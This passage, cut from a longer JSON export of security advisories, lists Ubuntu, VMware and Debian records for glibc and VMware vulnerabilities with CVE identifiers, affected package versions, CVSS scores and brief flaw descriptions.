"packageName": "libc6", "packageFilename": "UNKNOWN", "operator": "lt"}], "description": "It was discovered that the GNU C Library did not properly handle integer overflows in the timezone handling code. An attacker could use this to possibly execute arbitrary code by convincing an application to load a maliciously constructed tzfile. (CVE-2009-5029)\n\nIt was discovered that the GNU C Library did not properly handle passwd.adjunct.byname map entries in the Network Information Service (NIS) code in the name service caching daemon (nscd). An attacker could use this to obtain the encrypted passwords of NIS accounts. This issue only affected Ubuntu 8.04 LTS. (CVE-2010-0015)\n\nChris Evans reported that the GNU C Library did not properly calculate the amount of memory to allocate in the fnmatch() code. An attacker could use this to cause a denial of service or possibly execute arbitrary code via a maliciously crafted UTF-8 string. This issue only affected Ubuntu 8.04 LTS, Ubuntu 10.04 LTS and Ubuntu 10.10. (CVE-2011-1071)\n\nTomas Hoger reported that an additional integer overflow was possible in the GNU C Library fnmatch() code. An attacker could use this to cause a denial of service via a maliciously crafted UTF-8 string. This issue only affected Ubuntu 8.04 LTS, Ubuntu 10.04 LTS, Ubuntu 10.10 and Ubuntu 11.04. (CVE-2011-1659)\n\nDan Rosenberg discovered that the addmntent() function in the GNU C Library did not report an error status for failed attempts to write to the /etc/mtab file. This could allow an attacker to corrupt /etc/mtab, possibly causing a denial of service or otherwise manipulate mount options. This issue only affected Ubuntu 8.04 LTS, Ubuntu 10.04 LTS, Ubuntu 10.10 and Ubuntu 11.04. (CVE-2011-1089)\n\nHarald van Dijk discovered that the locale program included with the GNU C library did not properly quote its output. This could allow a local attacker to possibly execute arbitrary code using a crafted localization string that was evaluated in a shell script. This issue only affected Ubuntu 8.04 LTS, Ubuntu 10.04 LTS and Ubuntu 10.10. (CVE-2011-1095)\n\nIt was discovered that the GNU C library loader expanded the $ORIGIN dynamic string token when RPATH is composed entirely of this token. This could allow an attacker to gain privilege via a setuid program that had this RPATH value. (CVE-2011-1658)\n\nIt was discovered that the GNU C library implementation of memcpy optimized for Supplemental Streaming SIMD Extensions 3 (SSSE3) contained a possible integer overflow. An attacker could use this to cause a denial of service or possibly execute arbitrary code. This issue only affected Ubuntu 10.04 LTS. (CVE-2011-2702)\n\nJohn Zimmerman discovered that the Remote Procedure Call (RPC) implementation in the GNU C Library did not properly handle large numbers of connections. This could allow a remote attacker to cause a denial of service. (CVE-2011-4609)\n\nIt was discovered that the GNU C Library vfprintf() implementation contained a possible integer overflow in the format string protection code offered by FORTIFY_SOURCE. An attacker could use this flaw in conjunction with a format string vulnerability to bypass the format string protection and possibly execute arbitrary code. (CVE-2012-0864)", "edition": 1, "reporter": "Ubuntu", "published": "2012-03-09T00:00:00", "title": "GNU C Library vulnerabilities", "type": "ubuntu", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "bulletinFamily": "unix", "cvelist": ["CVE-2012-0864", "CVE-2010-0015", "CVE-2011-4609", "CVE-2011-1658", "CVE-2011-1659", "CVE-2011-1071", "CVE-2011-1095", "CVE-2009-5029", "CVE-2011-2702", "CVE-2011-1089"], "modified": "2012-03-09T00:00:00", "href": "https://usn.ubuntu.com/1396-1/", "id": "USN-1396-1", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-03-29T18:18:31", "references": ["https://people.canonical.com/~ubuntu-security/cve/CVE-2010-0830", "https://people.canonical.com/~ubuntu-security/cve/CVE-2010-0296", "https://people.canonical.com/~ubuntu-security/cve/CVE-2008-1391"], "affectedPackage": [{"OS": "Ubuntu", "OSVersion": "6.06", "packageVersion": "2.3.6-0ubuntu20.6", "arch": "noarch", "packageName": "libc6", "packageFilename": "UNKNOWN", "operator": "lt"}, {"OS": "Ubuntu", "OSVersion": "9.10", "packageVersion": "2.10.1-0ubuntu17", "arch": "noarch", "packageName": "libc6", "packageFilename": "UNKNOWN", "operator": "lt"}, {"OS": "Ubuntu", "OSVersion": "9.04", "packageVersion": "2.9-4ubuntu6.2", "arch": "noarch", "packageName": "libc6", "packageFilename": "UNKNOWN", "operator": "lt"}, {"OS": "Ubuntu", "OSVersion": "10.04", "packageVersion": "2.11.1-0ubuntu7.1", "arch": "noarch", "packageName": "libc6", "packageFilename": "UNKNOWN", "operator": "lt"}, {"OS": "Ubuntu", "OSVersion": "8.04", "packageVersion": "2.7-10ubuntu6", "arch": "noarch", "packageName": "libc6", "packageFilename": "UNKNOWN", "operator": "lt"}], "description": "Maksymilian Arciemowicz discovered that the GNU C library did not correctly handle integer overflows in the strfmon function. If a user or automated system were tricked into processing a specially crafted format string, a remote attacker could crash applications, leading to a denial of service. (Ubuntu 10.04 was not affected.) (CVE-2008-1391)\n\nJeff Layton and Dan Rosenberg discovered that the GNU C library did not correctly handle newlines in the mntent family of functions. If a local attacker were able to inject newlines into a mount entry through other vulnerable mount helpers, they could disrupt the system or possibly gain root privileges. (CVE-2010-0296)\n\nDan Rosenberg discovered that the GNU C library did not correctly validate certain ELF program headers. If a user or automated system were tricked into verifying a specially crafted ELF program, a remote attacker could execute arbitrary code with user privileges. (CVE-2010-0830)", "edition": 1, "reporter": "Ubuntu", "published": "2010-05-25T00:00:00", "title": "GNU C Library vulnerabilities", "type": "ubuntu", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "bulletinFamily": "unix", "cvelist": ["CVE-2010-0296", "CVE-2010-0830", "CVE-2009-4880", "CVE-2008-1391"], "modified": "2010-05-25T00:00:00", "href": "https://usn.ubuntu.com/944-1/", "id": "USN-944-1", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "vmware": [{"lastseen": "2016-09-04T11:19:39", "references": [], "affectedPackage": [{"OS": "ESXi", "OSVersion": "any", "packageVersion": "4.1", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESXi", "operator": "eq"}, {"OS": "Linux", "OSVersion": "any", "packageVersion": "5.0 Update 2", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "vCSA", "operator": "lt"}, {"OS": "ESXi", "OSVersion": "any", "packageVersion": "ESXi500-201212101", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESXi", "operator": "lt"}, {"OS": "ESXi", "OSVersion": "any", "packageVersion": "ESXi510-201304101", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESXi", "operator": "lt"}, {"OS": "Windows", "OSVersion": "any", "packageVersion": "5.0 Update 2", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "vCenter Server", "operator": "lt"}, {"OS": "ESXi", "OSVersion": "any", "packageVersion": "4.0", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESXi", "operator": "eq"}, {"OS": "Windows", "OSVersion": "any", "packageVersion": "4.1 Update 3", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "vCenter Server", "operator": "lt"}, {"OS": "Linux", "OSVersion": "any", "packageVersion": "5.1.0b", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "vCSA", "operator": "lt"}], "description": "a. vCenter Server Appliance directory traversal \n \n\n\nThe vCenter Server Appliance (vCSA) contains a directory traversal vulnerability that allows an authenticated remote user to retrieve arbitrary files. Exploitation of this issue may expose sensitive information stored on the server. \n \nVMware would like to thank Alexander Minozhenko from ERPScan for reporting this issue to us. \n \nThe Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2012-6324 to this issue. \n \nColumn 4 of the following table lists the action required to remediate the vulnerability in each release, if a solution is available.\n", "edition": 1, "reporter": "VMware", "published": "2012-12-20T00:00:00", "title": "VMware security updates for vCSA, vCenter Server, and ESXi", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "type": "vmware", "bulletinFamily": "unix", "cvelist": ["CVE-2012-0864", "CVE-2011-4609", "CVE-2012-6325", "CVE-2012-3404", "CVE-2012-6326", "CVE-2012-6324", "CVE-2012-3405", "CVE-2010-0830", "CVE-2012-3480", "CVE-2009-5029", "CVE-2012-3406", "CVE-2011-1089", "CVE-2009-5064"], "modified": "2013-04-25T00:00:00", "id": "VMSA-2012-0018", "href": "https://www.vmware.com/security/advisories/VMSA-2012-0018.html", "cvss": {"score": 7.8, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}, {"lastseen": "2016-09-04T11:19:35", "references": [], "affectedPackage": [{"OS": "Windows", "OSVersion": "any", "packageVersion": "5.0", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "Update Manager", "operator": "eq"}, {"OS": "ESX", "OSVersion": "any", "packageVersion": "4.0", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESX", "operator": "eq"}, {"OS": "Windows", "OSVersion": "any", "packageVersion": "4.1 Update 3", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "vCenter", "operator": "lt"}, {"OS": "ESX", "OSVersion": "any", "packageVersion": "ESX410-201208105-SG", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESX", "operator": "lt"}, {"OS": "ESX", "OSVersion": "any", "packageVersion": "ESX410-201208101-SG", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESX", "operator": "lt"}, {"OS": "Windows", "OSVersion": "any", "packageVersion": "5.0 Update 2", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "vCenter", "operator": "lt"}, {"OS": "ESX", "OSVersion": "any", "packageVersion": "ESX410-201208103-SG", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESX", "operator": "lt"}, {"OS": "ESXi", "OSVersion": "any", "packageVersion": "3.5", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESXi", "operator": "eq"}, {"OS": "ESX", "OSVersion": "any", "packageVersion": "ESX400-201209404-SG", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESX", "operator": "lt"}, {"OS": "ESXi", "OSVersion": "any", "packageVersion": "ESXi-5.0.0-20121201001", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESXi", "operator": "lt"}, {"OS": "ESX", "OSVersion": "any", "packageVersion": "ESX410-201208107-SG", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESX", "operator": "lt"}, {"OS": "Windows", "OSVersion": "any", "packageVersion": "2.5", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "VirtualCenter", "operator": "eq"}, {"OS": "ESX", "OSVersion": "any", "packageVersion": "ESX410-201208104-SG", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESX", "operator": "lt"}, {"OS": "ESXi", "OSVersion": "any", "packageVersion": "ESXi410-201208101-SG", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESXi", "operator": "lt"}, {"OS": "Windows", "OSVersion": "any", "packageVersion": "4.0 Update 4a", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "vCenter", "operator": "lt"}, {"OS": "ESX", "OSVersion": "any", "packageVersion": "ESX400-201209402-SG", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESX", "operator": "lt"}, {"OS": "ESX", "OSVersion": "any", "packageVersion": "3.5", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESX", "operator": "eq"}, {"OS": "any", "OSVersion": "any", "packageVersion": "5.0.3", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "vCOps", "operator": "lt"}, {"OS": "ESXi", "OSVersion": "any", "packageVersion": "4.0", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESXi", "operator": "eq"}, {"OS": "Windows", "OSVersion": "any", "packageVersion": "4.1 Update 3", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "Update Manager", "operator": "lt"}, {"OS": "ESX", "OSVersion": "any", "packageVersion": "ESX410-201208106-SG", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESX", "operator": "lt"}, {"OS": "Windows", "OSVersion": "any", "packageVersion": "4.0 Update 4a", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "Update Manager", "operator": "lt"}, {"OS": "any", "OSVersion": "any", "packageVersion": "1.0.x", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "vCOps", "operator": "eq"}, {"OS": "ESX", "OSVersion": "any", "packageVersion": "ESX400-201209401-SG", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESX", "operator": "lt"}, {"OS": "ESX", "OSVersion": "any", "packageVersion": "ESX410-201208102-SG", "arch": "any", "packageFilename": "UNKNOWN", "packageName": "ESX", "operator": "lt"}], "description": "a. vCenter and ESX update to JRE 1.6.0 Update 31 \nThe Oracle (Sun) JRE is updated to version 1.6.0_31, which addresses multiple security issues. Oracle has documented the CVE identifiers that are addressed by this update in the Oracle Java SE Critical Patch Update Advisory of February 2012. \nColumn 4 of the following table lists the action required to remediate the vulnerability in each release, if a solution is available. \n\n", "edition": 1, "reporter": "VMware", "published": "2012-08-30T00:00:00", "title": "VMware vSphere and vCOps updates to third party libraries", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "type": "vmware", "bulletinFamily": "unix", "cvelist": ["CVE-2012-0864", "CVE-2011-3188", "CVE-2011-4108", "CVE-2011-4609", "CVE-2011-4128", "CVE-2012-0815", "CVE-2011-3597", "CVE-2011-4324", "CVE-2011-4110", "CVE-2011-4576", "CVE-2011-4577", "CVE-2010-4180", "CVE-2010-4410", "CVE-2011-2699", "CVE-2011-4619", "CVE-2010-2761", "CVE-2011-4132", "CVE-2011-0014", "CVE-2010-0830", "CVE-2011-2484", "CVE-2012-1583", "CVE-2012-0061", "CVE-2012-0393", "CVE-2011-3209", "CVE-2012-0050", "CVE-2011-3363", "CVE-2012-0060", "CVE-2011-1833", "CVE-2012-0207", "CVE-2011-1020", "CVE-2012-2110", "CVE-2012-1569", "CVE-2010-4252", "CVE-2012-0841", "CVE-2009-5029", "CVE-2011-4325", "CVE-2012-1573", "CVE-2011-4109", "CVE-2011-1089", "CVE-2009-5064", "CVE-2011-2496"], "modified": "2012-12-20T00:00:00", "href": "https://www.vmware.com/security/advisories/VMSA-2012-0013.html", "id": "VMSA-2012-0013", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "debian": [{"lastseen": "2016-09-02T18:29:20", "references": [], "affectedPackage": [{"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-files-udeb_2.7-18lenny4_ia64.udeb", "packageName": "libnss-files-udeb", "arch": "ia64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-ppc64_2.7-18lenny4_powerpc.deb", "packageName": "libc6-ppc64", "arch": "ppc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dbg_2.7-18lenny4_powerpc.deb", "packageName": "libc6-dbg", "arch": "ppc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-dns-udeb_2.7-18lenny4_ia64.udeb", "packageName": "libnss-dns-udeb", "arch": "ia64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6.1-udeb_2.7-18lenny4_ia64.udeb", "packageName": "libc6.1-udeb", "arch": "ia64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "locales-all_2.7-18lenny4_amd64.deb", "packageName": "locales-all", "arch": "x86-64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-files-udeb_2.7-18lenny4_mipsel.udeb", "packageName": "libnss-files-udeb", "arch": "mipsel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-files-udeb_2.7-18lenny4_i386.udeb", "packageName": "libnss-files-udeb", "arch": "i686", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6.1-dbg_2.7-18lenny4_alpha.deb", "packageName": "libc6.1-dbg", "arch": "alpha", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "locales_2.7-18lenny4_all.deb", "packageName": "locales", "arch": "all", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "nscd_2.7-18lenny4_mipsel.deb", "packageName": "nscd", "arch": "mipsel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-mipsn32_2.7-18lenny4_mipsel.deb", "packageName": "libc6-mipsn32", "arch": "mipsel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-mipsn32_2.7-18lenny4_mips.deb", "packageName": "libc6-mipsn32", "arch": "mips", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev_2.7-18lenny4_s390.deb", "packageName": "libc6-dev", "arch": "s390x", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-udeb_2.7-18lenny4_powerpc.udeb", "packageName": "libc6-udeb", "arch": "ppc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6.1-dbg_2.7-18lenny4_ia64.deb", "packageName": "libc6.1-dbg", "arch": "ia64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "locales-all_2.7-18lenny4_ia64.deb", "packageName": "locales-all", "arch": "ia64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-files-udeb_2.7-18lenny4_arm.udeb", "packageName": "libnss-files-udeb", "arch": "arm", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-files-udeb_2.7-18lenny4_armel.udeb", "packageName": "libnss-files-udeb", "arch": "armel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "nscd_2.7-18lenny4_hppa.deb", "packageName": "nscd", "arch": "hppa", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-files-udeb_2.7-18lenny4_mips.udeb", "packageName": "libnss-files-udeb", "arch": "mips", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-prof_2.7-18lenny4_hppa.deb", "packageName": "libc6-prof", "arch": "hppa", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "locales-all_2.7-18lenny4_s390.deb", "packageName": "locales-all", "arch": "s390x", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-files-udeb_2.7-18lenny4_amd64.udeb", "packageName": "libnss-files-udeb", "arch": "x86-64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-dns-udeb_2.7-18lenny4_hppa.udeb", "packageName": "libnss-dns-udeb", "arch": "hppa", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-dns-udeb_2.7-18lenny4_alpha.udeb", "packageName": "libnss-dns-udeb", "arch": "alpha", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-pic_2.7-18lenny4_mipsel.deb", "packageName": "libc6-pic", "arch": "mipsel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-dns-udeb_2.7-18lenny4_mipsel.udeb", "packageName": "libnss-dns-udeb", "arch": "mipsel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6_2.7-18lenny4_mips.deb", "packageName": "libc6", "arch": "mips", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "glibc_2.7-18lenny4.dsc", "packageName": "glibc", "arch": "src", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6.1-prof_2.7-18lenny4_alpha.deb", "packageName": "libc6.1-prof", "arch": "alpha", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-pic_2.7-18lenny4_hppa.deb", "packageName": "libc6-pic", "arch": "hppa", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dbg_2.7-18lenny4_armel.deb", "packageName": "libc6-dbg", "arch": "armel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-prof_2.7-18lenny4_mips.deb", "packageName": "libc6-prof", "arch": "mips", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-udeb_2.7-18lenny4_amd64.udeb", "packageName": "libc6-udeb", "arch": "x86-64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "nscd_2.7-18lenny4_powerpc.deb", "packageName": "nscd", "arch": "ppc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-pic_2.7-18lenny4_powerpc.deb", "packageName": "libc6-pic", "arch": "ppc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-pic_2.7-18lenny4_arm.deb", "packageName": "libc6-pic", "arch": "arm", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev_2.7-18lenny4_powerpc.deb", "packageName": "libc6-dev", "arch": "ppc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "nscd_2.7-18lenny4_armel.deb", "packageName": "nscd", "arch": "armel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-mips64_2.7-18lenny4_mipsel.deb", "packageName": "libc6-mips64", "arch": "mipsel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-pic_2.7-18lenny4_sparc.deb", "packageName": "libc6-pic", "arch": "sparc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "locales-all_2.7-18lenny4_powerpc.deb", "packageName": "locales-all", "arch": "ppc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-files-udeb_2.7-18lenny4_sparc.udeb", "packageName": "libnss-files-udeb", "arch": "sparc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-i386_2.7-18lenny4_amd64.deb", "packageName": "libc6-i386", "arch": "x86-64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "glibc-doc_2.7-18lenny4_all.deb", "packageName": "glibc-doc", "arch": "all", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6_2.7-18lenny4_armel.deb", "packageName": "libc6", "arch": "armel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "locales-all_2.7-18lenny4_mipsel.deb", "packageName": "locales-all", "arch": "mipsel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-prof_2.7-18lenny4_powerpc.deb", "packageName": "libc6-prof", "arch": "ppc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-files-udeb_2.7-18lenny4_hppa.udeb", "packageName": "libnss-files-udeb", "arch": "hppa", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev-amd64_2.7-18lenny4_i386.deb", "packageName": "libc6-dev-amd64", "arch": "i686", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev-mipsn32_2.7-18lenny4_mips.deb", "packageName": "libc6-dev-mipsn32", "arch": "mips", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-prof_2.7-18lenny4_arm.deb", "packageName": "libc6-prof", "arch": "arm", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-xen_2.7-18lenny4_i386.deb", "packageName": "libc6-xen", "arch": "i686", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-files-udeb_2.7-18lenny4_s390.udeb", "packageName": "libnss-files-udeb", "arch": "s390x", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6.1-alphaev67_2.7-18lenny4_alpha.deb", "packageName": "libc6.1-alphaev67", "arch": "alpha", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6.1_2.7-18lenny4_alpha.deb", "packageName": "libc6.1", "arch": "alpha", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev_2.7-18lenny4_mipsel.deb", "packageName": "libc6-dev", "arch": "mipsel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "nscd_2.7-18lenny4_s390.deb", "packageName": "nscd", "arch": "s390x", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-prof_2.7-18lenny4_sparc.deb", "packageName": "libc6-prof", "arch": "sparc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "locales-all_2.7-18lenny4_hppa.deb", "packageName": "locales-all", "arch": "hppa", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dbg_2.7-18lenny4_i386.deb", "packageName": "libc6-dbg", "arch": "i686", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-udeb_2.7-18lenny4_i386.udeb", "packageName": "libc6-udeb", "arch": "i686", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-dns-udeb_2.7-18lenny4_armel.udeb", "packageName": "libnss-dns-udeb", "arch": "armel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-amd64_2.7-18lenny4_i386.deb", "packageName": "libc6-amd64", "arch": "i686", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6_2.7-18lenny4_hppa.deb", "packageName": "libc6", "arch": "hppa", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "locales-all_2.7-18lenny4_sparc.deb", "packageName": "locales-all", "arch": "sparc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev-ppc64_2.7-18lenny4_powerpc.deb", "packageName": "libc6-dev-ppc64", "arch": "ppc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "nscd_2.7-18lenny4_sparc.deb", "packageName": "nscd", "arch": "sparc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6.1-udeb_2.7-18lenny4_alpha.udeb", "packageName": "libc6.1-udeb", "arch": "alpha", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6_2.7-18lenny4_mipsel.deb", "packageName": "libc6", "arch": "mipsel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": 